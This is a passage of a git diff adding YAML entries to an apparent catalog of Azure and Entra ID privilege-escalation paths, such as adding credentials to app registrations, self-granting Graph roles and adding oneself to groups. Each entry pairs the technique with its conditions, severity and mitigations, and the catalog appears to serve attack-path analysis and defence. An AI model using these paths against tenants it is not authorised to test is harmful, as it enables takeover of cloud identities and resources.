devtest_labs + title: Claim a pooled lab VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#claim--claimanyvm--seize-ownership-of-a-pooled-vm + source_revision: 171e422 + summary: Claiming a claimable lab VM makes the source its owner, giving login and artifact access to the VM and its managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.DevTestLab/labs/virtualMachines/Claim/action + scope: "{pivot}" + - - action: Microsoft.DevTestLab/labs/ClaimAnyVm/action + scope: "{pivot}" + pivot_resource_type: Microsoft.DevTestLab/labs|Microsoft.DevTestLab/labs/virtualMachines + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_host_linked_to_pivot: devtest_lab_compute_vm + scope: inherited_scope + aggregate_as: "Managed identities of claimable lab VMs in {pivot}" + conditions: + - id: claimable_vm_exists + description: The lab must have an unclaimed VM marked claimable. + - id: login_reachable + description: Using the VM needs network reachability and its credentials or artifact access granted to the owner. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Avoid claimable VMs carrying privileged identities and restrict Claim/ClaimAnyVm. + references: + - https://learn.microsoft.com/en-us/azure/devtest-labs/devtest-lab-add-claimable-vm + notes: "" diff --git a/src/privilege-escalation-paths-research/azure/digital_twins.yaml b/src/privilege-escalation-paths-research/azure/digital_twins.yaml new file mode 100644 index 0000000000..e69de29bb2 diff --git a/src/privilege-escalation-paths-research/azure/entraid_apps.yaml b/src/privilege-escalation-paths-research/azure/entraid_apps.yaml new file mode 100644 index 0000000000..b19b6d987e --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_apps.yaml @@ -0,0 +1,355 @@ +- id: azure-entraid-app-credentials-update + provider: azure + service: entraid + title: Add credentials to any application registration + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationscredentialsupdate + source_revision: 171e422 + summary: A principal allowed to update application credentials (e.g. Application Administrator, Cloud Application Administrator) can obtain the privileges of the service principal of any app registration in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/applications/credentials/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/applications/allProperties/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of all app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities (named locations / risk) can block sign-in of the target service principal. + blockers: [] + confidence: derived + severity: critical + mitigation: Minimise Application/Cloud Application Administrator assignments, scope custom roles to specific app registrations, and never grant privileged directory roles or Graph app roles to apps whose registration non-Tier-0 principals can manage. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + - https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0 + - https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ + notes: Critical because the target set includes any app whose service principal holds Global Administrator, Privileged Role Administrator or RoleManagement.ReadWrite.Directory; Microsoft labels these permissions PRIVILEGED. The target set is exactly app registrations whose application object lives in this tenant (Microsoft first-party and other-tenant multi-tenant apps have no local application object). A role assignment scoped to a single app registration (directoryScopeId "/") reaches only that app. allProperties/update includes the credential property set. +- id: azure-entraid-app-myorg-credentials-update + provider: azure + service: entraid + title: Add credentials to single-tenant application registrations + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsmyorganizationallpropertiesupdate + source_revision: 171e422 + summary: A principal holding applications.myOrganization credential/allProperties update can obtain the privileges of the service principal of any single-tenant app registration in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/applications.myOrganization/credentials/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/applications.myOrganization/allProperties/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_app_sign_in_audience: AzureADMyOrg + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of single-tenant app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: derived + severity: critical + mitigation: Audit custom roles for applications.myOrganization/* permissions and scope them to specific app registrations instead of the tenant. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: These permissions appear mostly in custom roles; single-tenant internal apps are frequently the ones holding privileged Graph app roles. +- id: azure-entraid-app-owners-update + provider: azure + service: entraid + title: Make yourself owner of any application registration + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsownersupdate + source_revision: 171e422 + summary: A principal allowed to update application owners can obtain the privileges of the service principal of any app registration in its scope. + requires: + all_of: + - entra_permission: microsoft.directory/applications/owners/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of all app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict applications/owners/update, monitor "Add owner to application" audit events, and use app management policies to restrict credential types. + references: + - https://learn.microsoft.com/en-us/graph/api/application-post-owners?view=graph-rest-1.0 + notes: Ownership grants credential management but not the ability to consent new API permissions; the gain is limited to what the app's service principal already holds. +- id: azure-entraid-app-owner-credentials + provider: azure + service: entraid + title: Application owner adds credentials to the owned app + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsownersupdate + source_revision: a66f094ede + summary: A registered owner of an application can obtain the privileges of that application's service principal. + requires: + all_of: + - entra_owner_of: "{target.application_id}" + object_type: application + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_source_is_owner_of_application: true + scope: tenant + aggregate_as: "Service principals of app registrations owned by {source}" + conditions: + - id: service_principal_owner_needs_ownedby + description: When the owner is a service principal acting app-only, adding the credential through Graph also needs Application.ReadWrite.OwnedBy (or Application.ReadWrite.All) on that owner; user owners need no extra permission. + - id: app_management_policy + description: Application management policies can block password credentials or restrict credential lifetimes for the owned app. + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: derived + severity: high + mitigation: Do not make non-Tier-0 users or service principals owners of apps whose service principals hold privileged roles or app permissions; review app owners regularly. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: Owners also include service principals that own other apps (e.g. via Application.ReadWrite.OwnedBy). Severity should be raised to critical when the owned app's SP holds privileged roles / Graph app roles. Source is the owners/update section, which states that ownership gives control of the app's credentials; az-oauth-apps-phishing.md#entra-id-applications-admin (the previous source) only covers redirect-URI and requested-permission changes, which stay excluded. +- id: azure-entraid-sp-credentials-update + provider: azure + service: entraid + title: Add credentials to any service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalscredentialsupdate + source_revision: 171e422 + summary: A principal allowed to update service-principal credentials can obtain the privileges of any application-type service principal in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/servicePrincipals/credentials/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/servicePrincipals/allProperties/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + - id: microsoft_first_party_sp + description: Microsoft first-party service principals may reject or ignore tenant-added credentials; validate per app. + blockers: + - sp_lock_configuration_credentials + confidence: derived + severity: critical + mitigation: Minimise Application/Cloud Application Administrator, enable servicePrincipalLockConfiguration (app instance property lock) on apps, and monitor credential additions on service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/resources/serviceprincipallockconfiguration?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#application-administrator + notes: Managed-identity service principals are excluded (their credentials are platform-managed). The app instance property lock on the home application blocks credential changes on its service principals; disabling it requires update rights on the application object, which the evaluator should model through the application entries. +- id: azure-entraid-sp-owners-update + provider: azure + service: entraid + title: Make yourself owner of any service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsownersupdate + source_revision: 171e422 + summary: A principal allowed to update service-principal owners can obtain the privileges of any application-type service principal in its scope. + requires: + all_of: + - entra_permission: microsoft.directory/servicePrincipals/owners/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: derived + severity: critical + mitigation: Restrict servicePrincipals/owners/update and alert on "Add owner to service principal" events. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-owners?view=graph-rest-1.0 + notes: Owners of a service principal can manage its credentials unless the app instance property lock (servicePrincipalLockConfiguration) blocks it. +- id: azure-entraid-sp-owner-credentials + provider: azure + service: entraid + title: Service principal owner adds credentials to the owned service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsownersupdate + source_revision: 171e422 + summary: A registered owner of a service principal can obtain the privileges of that service principal. + requires: + all_of: + - entra_owner_of: "{target.id}" + object_type: servicePrincipal + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_source_is_owner_of_service_principal: true + scope: tenant + aggregate_as: "Service principals owned by {source}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: derived + severity: high + mitigation: Remove non-Tier-0 owners from privileged service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-delete-owners?view=graph-rest-1.0 + notes: Severity should be raised to critical when the owned service principal holds privileged directory roles or Graph app roles. +- id: azure-entraid-graph-application-readwrite-all + provider: azure + service: entraid + title: Graph Application.ReadWrite.All adds credentials to any app or service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#applicationreadwriteall + source_revision: 171e422 + summary: A service principal holding the Graph Application.ReadWrite.All application permission can obtain the privileges of any application-type service principal in the tenant. + requires: + all_of: + - graph_app_permission: Application.ReadWrite.All + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + - id: sp_lock_configuration_credentials + description: The app instance property lock only blocks service-principal-object credentials; this permission can still add credentials to the tenant's application object or lift the lock, so it does not remove the edge. + blockers: [] + confidence: derived + severity: critical + mitigation: Replace Application.ReadWrite.All with Application.ReadWrite.OwnedBy or no write permission, and treat apps holding it as Tier 0. + references: + - https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference + notes: Application.ReadWrite.OwnedBy limits this to objects the calling service principal owns (model via azure-entraid-app-owner-credentials). The lock configuration only blocks service-principal-object credentials; app-object credentials remain possible for apps registered in this tenant. +- id: azure-entraid-graph-approleassignment-readwrite-all + provider: azure + service: entraid + title: Graph AppRoleAssignment.ReadWrite.All self-grants Graph application roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#approleassignmentreadwriteall + source_revision: 171e422 + summary: A service principal holding the Graph AppRoleAssignment.ReadWrite.All application permission can obtain the privileges of any Graph application permission and, through it, of any Entra directory role. + requires: + all_of: + - graph_app_permission: AppRoleAssignment.ReadWrite.All + target: + kind: entra_role + selector: + entra_role_assignable: any + scope: tenant + aggregate_as: "Every Entra directory role (via self-granted Graph app roles) in {scope}" + conditions: + - id: new_token_required + description: Newly granted app roles appear only in tokens issued after the assignment. + blockers: + - service_principal_conditional_access_block + confidence: derived + severity: critical + mitigation: Never grant AppRoleAssignment.ReadWrite.All outside Tier-0 automation; alert on appRoleAssignment creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-approleassignments?view=graph-rest-1.0 + notes: Microsoft explicitly warns this permission lets an app grant additional privileges to itself. The directory-role reach depends on chaining through RoleManagement.ReadWrite.Directory; newly granted app roles only appear in newly issued tokens. +- id: azure-entraid-agent-blueprint-credentials + provider: azure + service: entraid + title: Add credentials to an Entra Agent ID blueprint and act as its agents + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-agent-id-blueprint-credential-abuse-agentidentityblueprintaddremovecredsall + source_revision: 171e422 + summary: A principal holding AgentIdentityBlueprint.AddRemoveCreds.All can obtain the privileges of any agent identity blueprint principal and of its child agent identities. + requires: + any_of: + - - graph_app_permission: AgentIdentityBlueprint.AddRemoveCreds.All + - - entra_permission: microsoft.directory/agentIdentityBlueprints/credentials/update + target: + kind: azure_service_principal + selector: + entra_agent_blueprint_principal_or_child_identity: true + scope: tenant + aggregate_as: "Agent identity blueprint principals and their child agent identities in {scope}" + conditions: + - id: agent_token_exchange + description: Acting as child agent identities relies on the blueprint-to-agent token exchange (fmi_path) being available for that blueprint. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant AgentIdentityBlueprint.AddRemoveCreds.All only to dedicated provisioning identities, separate dev/prod blueprints, and alert on addPassword against blueprint applications. + references: + - https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint + - https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow + notes: The directory permission agentIdentityBlueprints/credentials/update is held by Agent ID Administrator, AI Administrator and Global Administrator (built-in role definitions, checked 2026-10). Blueprint owners who can manage the blueprint application are covered by the generic application owner entries; the extra child-agent reach applies to them as well. Entra Agent ID is a newer (preview-era) feature; validate behaviour per tenant. +- id: azure-entraid-graph-delegatedpermissiongrant-allprincipals + provider: azure + service: entraid + title: Graph DelegatedPermissionGrant.ReadWrite.All creates tenant-wide delegated consent + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#delegatedpermissiongrantreadwriteall + source_revision: 171e422 + summary: A service principal holding DelegatedPermissionGrant.ReadWrite.All can obtain delegated privileges of users who sign in to a client it controls, for any delegated scope. + requires: + all_of: + - graph_app_permission: DelegatedPermissionGrant.ReadWrite.All + target: + kind: azure_user + selector: + any_principal_in_scope: true + scope: tenant + aggregate_as: "Users of {scope} who sign in to an attacker-controlled client (delegated scopes)" + conditions: + - id: requires_victim_sign_in + description: A target user must still authenticate to the attacker-controlled client; the token is bounded by the delegated scopes and the user's own permissions (and Conditional Access). + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict DelegatedPermissionGrant.ReadWrite.All to Tier-0 apps and alert on AllPrincipals oauth2PermissionGrant creation. + references: + - https://learn.microsoft.com/en-us/graph/api/oauth2permissiongrant-post?view=graph-rest-1.0 + notes: Bypasses the admin-consent boundary but not user authentication; edges are conditional on user interaction and should not be treated as silent takeover. +- id: azure-entraid-verified-premfa-broci-keyvault + provider: azure + service: entraid_apps + title: Verified pre-MFA broker token to Key Vault + source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#pre-mfa-tokens-and-downstream-conditional-access-gaps + source_revision: 0b36331 + summary: A broker token issued before MFA succeeds in obtaining Key Vault authority. + source_kind: azure_user + requires: + all_of: [] + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-entraid-verified-premfa-broci-keyvault + scope: any + aggregate_as: Verified pre-MFA broker token to Key Vault targets + conditions: + - id: verified_runtime_evidence + description: Exact source, target and successful credential or token access must be attested; absent evidence + remains UNKNOWN. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + confidence: conditional + severity: high + mitigation: Remove the vulnerable access path or exposed credential. + references: + - https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview + notes: 'Collector fact required: azure_privesc_challenge_evidence; exact technique/source/target evidence required, + absent => UNKNOWN.' diff --git a/src/privilege-escalation-paths-research/azure/entraid_attributes.yaml b/src/privilege-escalation-paths-research/azure/entraid_attributes.yaml new file mode 100644 index 0000000000..2188393322 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_attributes.yaml @@ -0,0 +1,67 @@ +# Custom security attributes satisfying Azure ABAC role-assignment conditions (declarative only). +# Source: hacktricks-cloud az-entraid-privesc/README.md (rev 171e422). +# The dynamic-membership half of the heading is not modelled: Microsoft documents that dynamic membership +# rules cannot reference custom security attributes (not verified offline). Role assignment conditions are +# already collected; the attribute values that satisfy a condition are not evaluated. + +- id: azure-entraid-custom-security-attribute-abac-dataplane + provider: azure + service: entraid + title: Assign custom security attributes to satisfy a principal-attribute ABAC condition (data plane) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + source_revision: 171e422 + summary: An Attribute Assignment Administrator whose own data-plane role assignments are gated by @Principal custom security attribute conditions can set the attribute on itself and obtain the access those conditions gate. + requires: + all_of: [] + any_of: + - - entra_role: Attribute Assignment Administrator + - - graph_app_permission: CustomSecAttributeAssignment.ReadWrite.All + target: + kind: azure_dataplane_admin + selector: + azure_assignment_condition_uses_principal_attribute: true + scope: any + aggregate_as: "Data-plane access gated by principal custom security attributes on {target.scope}" + outcome: permission_grant + conditions: + - id: attribute_value_satisfying_condition_not_verified + description: The condition must be satisfiable by a value of an attribute set the source may assign; condition expressions are not solved. + - id: attribute_set_scope + description: Attribute Assignment Administrator assigned on a single attribute set can only set attributes of that set. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict Attribute Assignment Administrator to dedicated identities and attribute sets, and do not let principals that can assign attributes also hold attribute-conditioned role assignments. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/conditions-format#principal-attributes + - https://learn.microsoft.com/en-us/entra/fundamentals/custom-security-attributes-overview + notes: Only the source's own (or its groups') condition-gated assignments are considered, since it can assign the attribute to itself. + +- id: azure-entraid-custom-security-attribute-abac-scope-owner + provider: azure + service: entraid + title: Assign custom security attributes to satisfy a principal-attribute ABAC condition on role-assignment rights + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + source_revision: 171e422 + summary: An Attribute Assignment Administrator whose role-assignment-write grant on a scope is gated by an @Principal custom security attribute condition can satisfy it and gain RBAC control of that scope. + requires: + all_of: [] + any_of: + - - entra_role: Attribute Assignment Administrator + - - graph_app_permission: CustomSecAttributeAssignment.ReadWrite.All + target: + kind: azure_scope_owner + selector: + azure_assignment_condition_uses_principal_attribute: true + scope: any + aggregate_as: "RBAC control of {target.scope} gated by principal custom security attributes" + conditions: + - id: attribute_value_satisfying_condition_not_verified + description: The condition must be satisfiable by a value of an attribute set the source may assign; condition expressions are not solved. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not gate role-assignment rights on principal attributes that the same principal can assign. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/conditions-format#principal-attributes + notes: Matches the source's condition-gated assignments of roles that allow Microsoft.Authorization/roleAssignments/write at exactly the target scope. diff --git a/src/privilege-escalation-paths-research/azure/entraid_domain_services.yaml b/src/privilege-escalation-paths-research/azure/entraid_domain_services.yaml new file mode 100644 index 0000000000..7b8dece57d --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_domain_services.yaml @@ -0,0 +1,36 @@ +# Microsoft Entra Domain Services techniques (declarative only). +# Source: hacktricks-cloud az-lateral-movement-cloud-on-prem/az-domain-services.md (rev a66f094ede). +# Domain-joined VMs are recognised from the JsonADDomainExtension domain matching a collected Domain Services +# domainName; VMs without the extension are unknown. + +- id: azure-entra-domain-services-dc-admins-vm-identity + provider: azure + service: entra_domain_services + title: AAD DC Administrators member takes over Domain Services-joined VMs and their managed identities + source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md#pivoting + source_revision: 171e422 + summary: Members of AAD DC Administrators are local administrators on VMs joined to the managed domain and can use the managed identities attached to those VMs. + requires: + all_of: + - entra_group_member: AAD DC Administrators + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + attached_to_vm_joined_to_entra_domain_services: true + scope: any + aggregate_as: "Managed identities of VMs joined to Entra Domain Services" + outcome: workload_execution + conditions: + - id: domain_join_state_not_verified + description: The join extension shows the VM was joined to the managed domain; whether it is still joined and reachable over RDP / WinRM from the source is not verified. + - id: password_hash_sync_to_domain + description: The source must be able to authenticate to the managed domain (its password hash must have been synchronised to Domain Services after password change). + blockers: [] + confidence: conditional + severity: high + mitigation: Keep AAD DC Administrators membership minimal and role-protected, and avoid attaching privileged managed identities to Domain Services-joined VMs. + references: + - https://learn.microsoft.com/en-us/entra/identity/domain-services/tutorial-create-management-vm + - https://learn.microsoft.com/en-us/entra/identity/domain-services/administration-concepts + notes: Adding a user to AAD DC Administrators is covered by group-write entries. Domain controllers themselves are not reachable through this membership. Cached user credentials on the VMs are not modelled. diff --git a/src/privilege-escalation-paths-research/azure/entraid_governance.yaml b/src/privilege-escalation-paths-research/azure/entraid_governance.yaml new file mode 100644 index 0000000000..a70e36c517 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_governance.yaml @@ -0,0 +1,94 @@ +- id: azure-entraid-entitlement-catalog-self-grant-group + provider: azure + service: entraid + title: Catalog-scoped self-grant of a group packaged in a catalog the source manages + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#catalog-scoped-self-grant-privesc + source_revision: 171e422 + summary: A Catalog owner or Access package manager can package a group already in its catalog behind a no-approval policy (an assignment manager can assign an existing package) and obtain membership or ownership of that group. + requires: + all_of: [] + any_of: + - - entra_catalog_role: Catalog owner + catalog: '{target.catalog}' + - - entra_catalog_role: Access package manager + catalog: '{target.catalog}' + - - entra_catalog_role: Access package assignment manager + catalog: '{target.catalog}' + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + target: + kind: entra_group + selector: + entra_resource_in_catalog: true + scope: tenant + aggregate_as: "Groups in Entitlement Management catalogs managed by the source" + conditions: + - id: assignment_manager_existing_packages_only + description: An Access package assignment manager can only assign access packages that already contain the group; it cannot create packages or policies. + - id: governance_license_required + description: Entitlement Management requires Entra ID P2 / ID Governance licensing. + blockers: + - access_package_approval_by_other_principal + confidence: conditional + severity: high + mitigation: Restrict catalog roles and EntitlementManagement.ReadWrite.All, keep role-assignable and app-owning groups out of delegated catalogs, and require approval by another principal on packages that grant privileged groups. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-delegate + - https://learn.microsoft.com/en-us/graph/api/resources/entitlementmanagement-overview + notes: Grants are logged under EntitlementManagement (Fulfill access package assignment), not as group membership adds. The tenant-wide alternatives (Graph permission, Identity Governance Administrator) reach every group in any catalog. +- id: azure-entraid-access-package-guest-auto-assignment + provider: azure + service: entraid + title: Invite a guest that matches a loose access-package auto-assignment rule + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#guest-self-enrolment-via-loose-auto-assignment-rule-privesc + source_revision: 171e422 + summary: A principal allowed to invite guests can create a guest whose attributes satisfy an existing automatic-assignment policy and obtain the groups that access package grants, with no approval. + requires: + all_of: + - entra_tenant_setting: guest_invites_allowed_for_source + target: + kind: entra_group + selector: + entra_access_package_auto_assignment_open_to_guest: true + scope: tenant + aggregate_as: "Groups granted by auto-assignment policies open to guests" + conditions: + - id: auto_assignment_rule_semantics_approximated + description: The rule is screened by text (policies not restricted to members and not requiring userType Member); whether a guest the source controls can satisfy it is not proven. + - id: guest_controls_matching_attribute + description: The guest must control the attribute the rule tests (mail / UPN / domain), and cross-tenant access settings must allow the invitation. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict automatic-assignment policies to member users, avoid contains/startsWith predicates over guest-controllable attributes, and restrict guest invitations. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-access-package-auto-assignment-policy + notes: Analogous to azure-entraid-dynamic-group-guest-invite for dynamic groups. +- id: azure-entraid-entitlement-auto-assignment-persistence + provider: azure + service: entraid + title: Create an auto-assignment policy that keeps re-granting catalog groups + source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#auto-assignment-policy-abuse-persistence + source_revision: 171e422 + summary: An Identity Governance Administrator or EntitlementManagement.ReadWrite.All holder can attach an automatic-assignment policy matching an attribute it controls and obtain, and keep re-obtaining, the groups packaged in any catalog. + requires: + all_of: [] + any_of: + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + target: + kind: entra_group + selector: + entra_resource_in_catalog: true + scope: tenant + aggregate_as: "Groups in Entitlement Management catalogs" + conditions: + - id: regrant_on_every_cycle + description: The policy re-evaluates and re-grants on each cycle, so removing the assignment alone is undone. + blockers: [] + confidence: conditional + severity: high + mitigation: Alert on automatic-assignment policy creation and review policies whose attribute rules match few or external principals. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-access-package-auto-assignment-policy + notes: Persistence variant of azure-entraid-entitlement-catalog-self-grant-group; the reached set is the same groups. diff --git a/src/privilege-escalation-paths-research/azure/entraid_groups.yaml b/src/privilege-escalation-paths-research/azure/entraid_groups.yaml new file mode 100644 index 0000000000..ad10f15e6f --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_groups.yaml @@ -0,0 +1,273 @@ +# Entra ID group membership escalation (membership/owner write, group ownership, +# dynamic membership rules and attribute control). +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-entraid-privesc/dynamic-groups.md, +# az-services/az-azuread.md (rev 171e422; all entries re-verified against the page text at that revision). +# +# Target kind entra_group (SCHEMA EXTENSION): obtaining membership of the group, i.e. the +# group's Entra role assignments (role-assignable groups only), Azure RBAC assignments, +# app-role assignments and any other access granted to the group. +# +# Protections encoded in selectors: +# - Role-assignable groups (isAssignableToRole=true) are excluded from the granular +# groups/* permissions and from Group.ReadWrite.All; only Privileged Role Administrator, +# Global Administrator, RoleManagement.ReadWrite.Directory and the group's owners can +# change their membership. They cannot be dynamic and cannot contain groups. +# - Groups in a restricted management AU can only be modified by admins assigned at that +# RMAU scope; owners and tenant-scoped admins (incl. Global Administrator) are blocked +# and Graph application permissions do not apply. + +- id: azure-entraid-group-members-update + provider: azure + service: entraid + title: Add yourself to non-role-assignable groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsmembersupdate + source_revision: 171e422 + summary: A principal allowed to update group membership (e.g. Groups Administrator, User Administrator) can obtain the privileges of any assigned, non-role-assignable group in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/members/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups/allProperties/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.security/members/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.unified/members/update + scope: "{target.scope}" + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_type_covered_by_permission: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Do not grant Azure RBAC Owner/User Access Administrator or sensitive app roles to ordinary security groups; use role-assignable groups or restricted management AUs for privileged groups. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 + notes: groups.security/* covers security groups and groups.unified/* covers Microsoft 365 groups only (entra_group_type_covered_by_permission). Groups holding Azure RBAC at subscription/management-group scope make this edge escalate into the Azure resource plane even though role-assignable groups are protected. + +- id: azure-entraid-graph-group-readwrite-all + provider: azure + service: entraid + title: Graph Group.ReadWrite.All / GroupMember.ReadWrite.All adds members to groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + source_revision: 171e422 + summary: A service principal holding Group.ReadWrite.All or GroupMember.ReadWrite.All can obtain the privileges of any assigned, non-role-assignable group outside restricted management AUs. + requires: + any_of: + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: GroupMember.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + - id: service_principal_member_needs_application_permission + description: Adding a service principal (e.g. the source itself) as a member additionally requires Application.ReadWrite.All app-only; without it the source must add a user it controls. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Prefer GroupMember.ReadWrite.All scoped alternatives or resource-specific consent, and keep privileged groups role-assignable or in restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability + notes: Microsoft states Group.ReadWrite.All does not work on role-assignable groups (RoleManagement.ReadWrite.Directory is required). Group.ReadWrite.All can also add owners, which leads to the same target set. + +- id: azure-entraid-group-owners-update + provider: azure + service: entraid + title: Make yourself owner 